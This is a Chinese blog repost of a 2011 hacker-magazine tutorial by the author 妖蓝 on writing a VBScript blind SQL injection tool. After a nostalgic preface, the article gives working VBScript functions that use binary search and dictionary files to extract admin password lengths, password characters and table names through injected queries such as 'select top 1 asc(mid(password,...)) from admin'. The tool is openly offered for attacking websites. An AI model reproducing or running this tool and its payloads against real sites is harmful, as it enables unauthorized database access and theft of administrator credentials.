title:稿件,编程,注入工具自己写,BY 妖蓝
time:2011年02月08日 13:18 (星期二)
mail:hackerxfiles@263.net
content:我是永远的叉子!


感想

那会特别迷一个叫做《黑客X档案》的杂志,现在已经不允许继续做了,好像当时那会这个书就没刊号,一直都像是非法小刊物。
讲真的别以为没了这些杂志互联网就会更安全,瞎几把搞

后来就写了两个文章,有幸被刊登,都写的是很简单的东西。在网易邮箱找到了当时发的邮件,到现在都6年多了,恍如隔世啊。

刚才看了一遍自己写的这个“文章”,里面有很多不成熟的话,装逼的话,现在看起来,倒像是跟过去的我在交流,见证历史也是一种进步。

然后看看日期,2011年2月,2月那会我还忙着写稿子,第一次高考失败就不奇怪了=。=
还好第二次高考比第一次好一点
23333我把markdown的加粗变成黑幕了嘎嘎嘎
下面是文章原文,我只是改了改格式。


菜鸟进阶之注入工具自己写

搞站的时候一直都用别人做的工具,心里很不爽啊,虽然把一些工具的版权改了,还是有点自欺欺人的感觉,所以本人自己用VBS写了一个注入工具介绍给大家,希望让大家黑站更HAYYP,让菜鸟离高手更进一步。本文适合有一定VB基础的朋友。

一、工具原理

工具通过一个自定义的checkpage函数检测页面是否正确,checkpage中的PostData函数使用XMLHTTP对象用于打开指定页面,PostData中的bytes2BSTR函数转换二进制为字符串。自定义函数injectfun使用折半查找法(看不懂代码的查百度吧)猜解某一个变量的临界点。工具是半自动的,注入语句要自己写,把要猜测的数据用转义字符代替,默认是“yao”和“lan”。比如猜测字段用order by yao,猜测MD5或管理员账号用and (select top 1 asc(mid(password,lan,1)) from admin)>yao。这里“lan”在外循环,“yao”在内循环,两个函数如下:

function injectfun(url)
begin=1               '猜解上限
stop=126              '猜解下限
do while begin<>stop
num=(begin+stop)\2    '得到中间值
wscript.echo num      '输出
viewurl=url
viewurl=replace(viewurl,yao,num)      '转义关键字
  if checkpage(viewurl,keyword) then  '判断页面并半拆猜解
       begin=num+1
  else
       stop=num
  end if
loop
injectfun=begin        '函数返回值
end function

Function checkpage(PostUrl,word)
strData = PostData(PostUrl)     '得到页面文本
if InStr(strData,word) > 0 then '判断是否正确
    checkpage = True
Else
    checkpage = False
End If
End Function

二、全局功能选择

工具有三个功能模块,分别是单变量猜解,双变量猜解,字典猜解。为避免重复启动工具,使用了大的死循环和内循环,使用inputbox读入数据。全局代码如下。(我用冒号代替了回车)

do
injurl=inputbox("注入点",,"默认注入点链接")
keyword=inputbox("关键字",,"默认关键字")
method=inputbox("猜解模式",,2)
  do while method<>0   '模式为0直接退出小循环
    select case method
    case 1:onevariable()   '单变量
    case 2:morevariable()  '双变量
    case 3:tablecreak()    '字典猜解
    end select
    method=inputbox("猜解模式",,2)
  loop
loop

三、单变量猜解

这个函数可以猜测字段数,管理员密码长度,准确的说它应该叫过程,因为它没有返回值。需要主意的是,因为使用折半查找法,构造语句时比较符号一定要用大于号“>”,否则不能正常使用。代码很简单,如下:

sub onevariable()
wscript.echo "单变量猜解"
sql=inputbox("注入语句",," and (select len(password) from admin)>yao")
result=injectfun(injurl&sql)         
'得到结果
wscript.echo "+" & string(40,"-") & "+"
wscript.echo "猜解完成:"&result
wscript.echo "+" & string(40,"-") & "+"
end sub

inputbox()的三个参数分别是,信息内容,对话框标题,默认内容。string()函数用来取得某相同字符的字符串,第二个参数里只有第一个字符有效。wscript.echo语句用来在命令行中输出数据,会自动换行,wscript.stdout.write语句不会自动换行。运行效果如图1。

四、双变量猜解

双变量猜解说白了就是加了外个循环,可以理解成加强版的单变量猜解。代码如下:

sub morevariable()
wscript.echo "双变量猜解"
result=""
dim sql
sql=inputbox("注入语句",,"默认注入语句")
n1=inputbox("外循环循环起始",,1)
n2=inputbox("外循环循环结束",,16)
now1=now()
for i=n1 to n2
  wscript.echo "正猜测第" &i& "位"
  data=replace(sql,lan,i)        
  '转义关键字
  result=result&chr(injectfun(injurl&data)) 
  '猜解合并字符
  wscript.echo "结束"
  wscript.echo         '空一行
next
with wscript
.echo "+"&string(40,"-")&"+" 
.echo "用时:"&now1
.echo "     "&now
.echo "猜解完成:"&result
.echo "+"&string(40,"-")&"+"
end with
end sub

双变量猜解需要手动输入循环起始和终止值,可以从单变量猜解得到,循环前会调用now()函数记录时间。代码用到了计次循环来循环调用injectfun()来猜解数据,输出时使用了with结构简化代码。运行效果如图2,啊D连猜长度加猜数据用了15秒,咱的用了16秒。

五、字典猜解

字典猜解主要是猜解表名,字段名和列名的。用TXT文本存放,一行一个,调用FSO逐行读取,同样转义字符检测页面。代码如下:

sub tablecreak()
wscript.echo "字典猜解"
sql=inputbox("注入语句",,"默认注入语句")
result=""
Set FSO = CreateObject("Scripting.FileSystemObject")
Set TextFile = FSO.OpenTextFile ("table.txt", 1)
now1=now()

Do Until TextFile.AtEndOfStream        
'判断是否到文件尾
    tablestr = TextFile.ReadLine       
    '逐行读入
    wscript.echo tablestr
    data=replace(sql,yao,tablestr)         
    '转义关键字
    if checkpage(injurl&data,keyword) then
    result=result & tablestr & vbcrlf        
    '存储结果
    wscript.echo string(20,"-")&"发现:"&tablestr
    end if
Loop

with wscript
.echo "+"&string(40,"-")&"+"  '输出
.echo "用时:"&now1
.echo "     "&now
.echo "猜解完成:"&vbcrlf&result
.echo "+"&string(40,"-")&"+"
end with
TextFile.Close   '关闭文件
set fso=nothing  '将FSO置空
end sub

先读取注入语句,再建创建FSO,接着打开文件,OpenTextFile的第二个参数是打开模式,参数如下。1,打开一个只读文件,不能对此文件进行写操作。2,打开一个用于写操作的文件。如果和此文件同名的文件已存在,则覆盖以前内容。8,打开一个文件并写到文件的尾部。我们常见的QQ木马收信脚本使用的就是8这个模式。判断循环的条件是是否到文件尾,接着逐行读入、转义关键字、注入、存储结果、输出。运行效果如图3。

六、结尾的话

VBS开头定义了COOKIE,但是后面构造数据包那里我给注释了,需要用就自己改吧。VBS里还有一个URLEncoding()函数,自己研究吧!工具里存了一个注入点,全部默认能看到效果。
工具的优点是很灵活,只要会写语句就能用,字符型,搜索型都没问题,速度也很快,缺点是要求小黑会用基本的注入语句(小黑要加油啦)。希望大家自己完善一下,打造成独门利器。
文章多有疏漏,还请多多指教!

最后修改:2018 年 02 月 28 日 05 : 43 PM